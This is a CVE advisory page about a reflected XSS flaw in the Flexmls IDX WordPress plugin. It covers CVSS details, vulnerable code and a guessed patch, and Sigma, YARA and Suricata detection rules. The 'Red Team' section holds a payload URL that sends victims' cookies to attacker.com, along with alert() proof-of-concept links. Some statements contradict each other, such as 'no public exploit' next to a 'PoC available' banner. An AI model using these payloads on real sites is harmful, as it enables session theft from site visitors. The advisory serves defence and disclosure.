CVE-2024-8719
Executive Summary
CVE-2024-8719 is a reflected Cross-Site Scripting (XSS) vulnerability in the Flexmls® IDX Plugin for WordPress, affecting all versions up to and including 3.14.22. The flaw exists due to insufficient input sanitization and output escaping on several parameters, including MaxBeds and MinBeds. An unauthenticated attacker can inject arbitrary web scripts that execute when a victim clicks a crafted link. The CVSS score is 6.1 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the Flexmls IDX Plugin, a WordPress plugin used by real estate websites to display MLS listings. The attack vector relies on tricking a WordPress site administrator or visitor into clicking a malicious link, leading to script execution in the context of the vulnerable site.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated.
- User Interaction (UI): Required (R) – Victim must click a link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited script injection.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. The requirement for user interaction reduces the risk, but the lack of authentication and potential for phishing campaigns makes it a viable threat for targeted attacks.
Deep Dive & Mechanics
The vulnerability resides in the Flexmls IDX Plugin’s handling of user-supplied parameters in search forms. Parameters like MaxBeds and MinBeds are reflected in the response without proper sanitization or encoding. An attacker can craft a URL such as:
https://victim-site.com/?MaxBeds=<script>alert('XSS')</script>
When a user clicks this link, the script executes in their browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user. The plugin fails to escape HTML entities or validate input, allowing arbitrary JavaScript injection.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.14.22):
// In a search form handler
$max_beds = $_GET['MaxBeds'];
echo "<input type='text' name='MaxBeds' value='$max_beds'>";
Patched Code (Hypothetical):
$max_beds = sanitize_text_field($_GET['MaxBeds']);
echo "<input type='text' name='MaxBeds' value='" . esc_attr($max_beds) . "'>";
The patch would use WordPress’s esc_attr() function to escape output and sanitize_text_field() to strip malicious content.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Deploy a WordPress instance with Flexmls IDX Plugin version 3.14.22.
- Craft Payload: Create a URL with XSS payload:
http://target-site.com/?MaxBeds=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link via email or social engineering.
- Execute: When the victim clicks, the script exfiltrates cookies to the attacker’s server.
Example Exploit URL:
http://target-site.com/?MinBeds=%3Cscript%3Ealert(1)%3C/script%3E
Blue Team (Detection & Defense)
- Web Application Firewall (WAF): Block requests containing
<script>tags in query parameters. - Input Validation: Ensure all user inputs are sanitized and output is escaped.
- User Training: Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
- Network: HTTP requests with
MaxBedsorMinBedsparameters containing<script>tags or encoded JavaScript. - Logs: Web server logs showing unusual query strings like
?MaxBeds=<script>.... - Client-side: Unexpected JavaScript execution in the browser, such as alert dialogs or network requests to unknown domains.
Detection Engineering
YARA Rule
rule flexmls_xss_cve_2024_8719 {
meta:
description = "Detects reflected XSS attempts against Flexmls IDX Plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8719"
strings:
$param1 = "MaxBeds="
$param2 = "MinBeds="
$xss_payload = /<script[^>]*>.*<\/script>/i
condition:
any of ($param*) and $xss_payload
}
Sigma Rule
title: Reflected XSS in Flexmls IDX Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts via MaxBeds or MinBeds parameters
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- 'MaxBeds='
- 'MinBeds='
c-uri|re: '<script[^>]*>.*<\/script>'
condition: selection
falsepositives:
- Legitimate use of script tags in search queries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8719 Flexmls IDX Plugin Reflected XSS"; flow:to_server,established; content:"MaxBeds="; nocase; content:"<script"; nocase; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Flexmls IDX Plugin until a patch is available.
- Short-term: Implement a WAF rule to block XSS patterns in query parameters.
- Long-term: Apply the vendor patch when released (currently UNKNOWN). Consider using a different IDX plugin with active security support.
- Workaround: Use WordPress security plugins like Wordfence to add virtual patching.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.